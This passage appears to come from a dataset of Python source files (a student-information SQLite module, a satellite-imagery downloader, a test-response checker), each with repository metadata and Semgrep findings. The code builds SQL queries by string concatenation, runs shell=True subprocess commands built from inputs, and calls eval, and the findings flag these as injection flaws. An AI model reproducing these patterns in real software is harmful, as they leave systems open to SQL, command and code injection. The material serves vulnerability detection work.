Insecure UUID Generation", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v63-random-values", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-shelve"
] | [
"security"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
14
] | [
14
] | [
16
] | [
57
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | listings_db.py | /db/listings_db.py | pkrysiak/coding-challenge-bpify | MIT | |
2024-11-18T19:18:54.430508+00:00 | 1,528,700,869,000 | 831b7e28a65998ece6124cc3ceb5557064304ffe | 3 | {
"blob_id": "831b7e28a65998ece6124cc3ceb5557064304ffe",
"branch_name": "refs/heads/master",
"committer_date": 1528700869000,
"content_id": "efd2e8d032c6cbe44d85fdd4ddfb089563262f94",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "25bf369df69d897bfe69e241822705573365771a",
"extension": "py",
"filename": "common.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 123120977,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1568,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/model/common.py",
"provenance": "stack-edu-0054.json.gz:579960",
"repo_name": "HarborYuan/Student-Information-Management-System",
"revision_date": 1528700869000,
"revision_id": "7226bdea9a422cc88876ba58f1e36e4f7087342d",
"snapshot_id": "3c80cec07ec0ab73e672dc8f3c90034c8ad970a4",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/HarborYuan/Student-Information-Management-System/7226bdea9a422cc88876ba58f1e36e4f7087342d/src/model/common.py",
"visit_date": "2021-01-24T12:10:33.229847"
} | 2.640625 | stackv2 | import sqlite3
import os
import hashlib
dirname, filename = os.path.split(os.path.abspath(__file__))
def getStudentList():
conn = sqlite3.connect(dirname + '/../data/hongyi.db')
c = conn.cursor()
cursor = c.execute("SELECT ID from STUIDC")
StudentList = []
for row in cursor:
StudentList.append(str(row[0]))
conn.close()
return StudentList
def judgeStudent(stuid, stuidc):
conn = sqlite3.connect(dirname + '/../data/hongyi.db')
c = conn.cursor()
try:
cursor = c.execute("SELECT IDC from STUIDC WHERE ID==" + stuid)
except sqlite3.OperationalError:
conn.close()
return "no such student"
for i in cursor:
if (i[0] == hashlib.sha3_512(stuidc.encode()).hexdigest()):
conn.close()
return "pass"
conn.close()
return "error"
conn.close()
return "no such student"
def getMajorList():
conn = sqlite3.connect(dirname + '/../data/hongyi.db')
c = conn.cursor()
cursor = c.execute("SELECT id,name from MAJORS")
MajorList = []
for row in cursor:
MajorList.append((row[0], row[1]))
conn.close()
return MajorList
def userExist(id):
conn = sqlite3.connect(dirname + '/../data/hongyi.db')
c = conn.cursor()
try:
cursor = c.execute("SELECT id from USERS WHERE id==" + id)
except sqlite3.OperationalError:
conn.close()
return False
for i in cursor:
if (str(i[0]) == id):
conn.close()
return True
conn.close()
return False
| 60 | 25.13 | 71 | 15 | 392 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_6b3ebdd54856b702_26a3c8d1", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 18, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/6b3ebdd54856b702.py", "start": {"line": 22, "col": 18, "offset": 521}, "end": {"line": 22, "col": 72, "offset": 575}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_6b3ebdd54856b702_43396a4b", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 18, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/6b3ebdd54856b702.py", "start": {"line": 51, "col": 18, "offset": 1305}, "end": {"line": 51, "col": 67, "offset": 1354}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
22,
51
] | [
22,
51
] | [
18,
18
] | [
72,
67
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | common.py | /src/model/common.py | HarborYuan/Student-Information-Management-System | Apache-2.0 | |
2024-11-18T19:18:55.619028+00:00 | 1,543,595,037,000 | 9e9c5cf43c6ec736a0dc832dc4c9448814ef0507 | 2 | {
"blob_id": "9e9c5cf43c6ec736a0dc832dc4c9448814ef0507",
"branch_name": "refs/heads/master",
"committer_date": 1543595037000,
"content_id": "06bd3f1e58da271dd3e349adcb9d125a1a759d62",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "6956e97680a8ce7964cf4c454fbd004373cb8720",
"extension": "py",
"filename": "async_download.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 151251662,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3575,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/satadd/async_download.py",
"provenance": "stack-edu-0054.json.gz:579974",
"repo_name": "samapriya/satadd",
"revision_date": 1543595037000,
"revision_id": "3ee89cf30a0a7c2df0585287dd54cfca766c8bb9",
"snapshot_id": "1f54326555bbab4ecebb8c357cbe0c1c6797a6bd",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/samapriya/satadd/3ee89cf30a0a7c2df0585287dd54cfca766c8bb9/satadd/async_download.py",
"visit_date": "2020-03-30T12:59:48.582806"
} | 2.328125 | stackv2 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import subprocess
import os
import json
os.chdir(os.path.dirname(os.path.realpath(__file__)))
path = os.path.dirname(os.path.realpath(__file__))
template = {'type': 'FeatureCollection', 'features': [{'type': 'Feature'
, 'properties': {}, 'geometry': {'type': 'Polygon',
'coordinates': []}}]}
def ddownload(
infile,
item,
asset,
dirc,
start,
end,
cmin,
cmax,
):
try:
if infile.endswith('.geojson'):
st = start
ed = end
ccovermin = cmin
ccovermax = cmax
subprocess.call('planet data download --item-type '
+ str(item) + ' --geom ' + '"'
+ infile
+ '"' + ' --date acquired gt '
+ str(st) + ' --date acquired lt '
+ str(ed) + ' --range cloud_cover gt '
+ str(ccovermin)
+ ' --range cloud_cover lt '
+ str(ccovermax) + ' --asset-type '
+ str(asset) + ' --dest ' + '"' + dirc
+ '"', shell=True)
elif infile.endswith('.json'):
with open(infile) as aoi:
aoi_resp = json.load(aoi)
for items in aoi_resp['config']:
if start == None and end == None:
if items['type'] == 'DateRangeFilter' \
and items['field_name'] == 'acquired':
st = items['config']['gte'].split('T')[0]
ed = items['config']['lte'].split('T')[0]
else:
st = start
ed = end
if items['type'] == 'GeometryFilter':
# print(items['config']['coordinates'])
template['features'][0]['geometry']['coordinates'
] = items['config']['coordinates']
with open(os.path.join(path, 'bounds.geojson'), 'w'
) as f:
f.write(json.dumps(template))
if cmin == None and cmax == None:
if items['type'] == 'RangeFilter' \
and items['field_name'] == 'cloud_cover':
ccovermin = items['config']['gte']
ccovermax = items['config']['lte']
else:
ccovermin = cmin
ccovermax = cmax
if os.path.exists(os.path.join(path, 'bounds.geojson')):
subprocess.call('planet data download --item-type '
+ str(item) + ' --geom ' + '"'
+ os.path.join(path, 'bounds.geojson')
+ '"' + ' --date acquired gt '
+ str(st) + ' --date acquired lt '
+ str(ed) + ' --range cloud_cover gt '
+ str(ccovermin)
+ ' --range cloud_cover lt '
+ str(ccovermax) + ' --asset-type '
+ str(asset) + ' --dest ' + '"' + dirc
+ '"', shell=True)
except Exception, e:
print e
| 82 | 42.6 | 75 | 37 | 680 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_40eead1e677145bc_86dfec16", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 39, "column_start": 13, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 29, "col": 13, "offset": 628}, "end": {"line": 39, "col": 47, "offset": 1244}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_40eead1e677145bc_3b6645ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 29, "col": 24, "offset": 639}, "end": {"line": 29, "col": 28, "offset": 643}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_40eead1e677145bc_fe3cea3b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 18, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 41, "col": 18, "offset": 1324}, "end": {"line": 41, "col": 30, "offset": 1336}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_40eead1e677145bc_97cdfbdd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 59, "column_start": 30, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 58, "col": 30, "offset": 2149}, "end": {"line": 59, "col": 36, "offset": 2231}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_40eead1e677145bc_b585d76d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 70, "line_end": 80, "column_start": 21, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 70, "col": 21, "offset": 2807}, "end": {"line": 80, "col": 55, "offset": 3533}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_40eead1e677145bc_59eee621", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 70, "line_end": 70, "column_start": 32, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/40eead1e677145bc.py", "start": {"line": 70, "col": 32, "offset": 2818}, "end": {"line": 70, "col": 36, "offset": 2822}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
29,
70
] | [
39,
80
] | [
13,
21
] | [
47,
55
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functi... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | async_download.py | /satadd/async_download.py | samapriya/satadd | Apache-2.0 | |
2024-11-18T19:18:56.987819+00:00 | 1,589,249,402,000 | 86f0290a624a814e2cc905433d96d3ca66a7a19a | 3 | {
"blob_id": "86f0290a624a814e2cc905433d96d3ca66a7a19a",
"branch_name": "refs/heads/master",
"committer_date": 1589249402000,
"content_id": "de371bd26295b7129c9bc4a11be6e974dc42f0f5",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "643c9e81cd934d8eb65da0241f887c5b3fba704e",
"extension": "py",
"filename": "parse_response.py",
"fork_events_count": 1,
"gha_created_at": 1558149484000,
"gha_event_created_at": 1623360435000,
"gha_language": "HTML",
"gha_license_id": "Apache-2.0",
"github_id": 187308689,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2616,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/auto/atp/lib/parse_response.py",
"provenance": "stack-edu-0054.json.gz:579992",
"repo_name": "Strugglingrookie/oldboy2",
"revision_date": 1589249402000,
"revision_id": "8ed6723cab1f54f2ff8ea0947c6f982aef7e1b47",
"snapshot_id": "4c31b1219eb4fc914e27ffb7e105897bc1481a65",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Strugglingrookie/oldboy2/8ed6723cab1f54f2ff8ea0947c6f982aef7e1b47/auto/atp/lib/parse_response.py",
"visit_date": "2022-12-11T08:13:16.903497"
} | 3.015625 | stackv2 | # -*- coding: utf-8 -*-
# @Author : XiaoGang
# @Time : 2020/2/28 13:59
# @File : parse_response.py
import jsonpath
from config.settings import log
class ParseResponse():
symbol = ['!=', '>=', '<=', '=', '>', '<']
def __init__(self, expected_res, actual_res):
self.expected_res = expected_res.strip()
self.actual_res = actual_res
self.status = '通过'
self.reason = ''
self.do_check()
def do_check(self):
# 如果预期结果为空 直接返回True通过
if not self.expected_res:
return True
log.debug("开始校验...预期结果 %s,实际结果 %s"
% (self.expected_res, self.actual_res))
expected_lis = self.expected_res.split("&")
for exp in expected_lis:
check_flag = False
for sym in self.symbol:
if sym in exp:
# 预期结果里有对应的运损符,将flag置为True
check_flag = True
log.debug("开始校验%s" % exp)
exp_k, exp_v = exp.split(sym)
act_lis = jsonpath.jsonpath(self.actual_res, '$..%s' % exp_k)
# 因为预期结果处理得到的数据是字符串
# 这里也需要处理为字符串,不然eval会报错
act_v = str(act_lis[0]) if act_lis else ''
sym = "==" if sym == "=" else sym
log.debug("校验表达式%s %s %s" % (act_v, sym, exp_v))
res = eval("act_v %s exp_v" % sym)
if res != True:
self.reason = '预期结果 %s,实际结果 %s' \
% (self.expected_res, self.actual_res)
log.error(self.reason)
self.status = "失败"
return False
# 预期结果里内有有对应的运损符 用例失败
if not check_flag:
self.reason = '预期结果 %s,实际结果 %s' \
% (self.expected_res, self.actual_res)
log.error(self.reason)
self.status = "失败"
return False
log.debug("校验成功...预期结果 %s,实际结果 %s"
% (self.expected_res, self.actual_res))
if __name__ == '__main__':
expect_data = "user=xg&age<28&height=180&money>1000"
actual_dic = {"user": "xg", "age": 20, 'height': 180, 'money': 101}
p = ParseResponse(expect_data, actual_dic)
print(p.status)
| 64 | 35.47 | 81 | 19 | 623 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_4223e19b08c09be2_866c3059", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 27, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/4223e19b08c09be2.py", "start": {"line": 42, "col": 27, "offset": 1570}, "end": {"line": 42, "col": 55, "offset": 1598}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
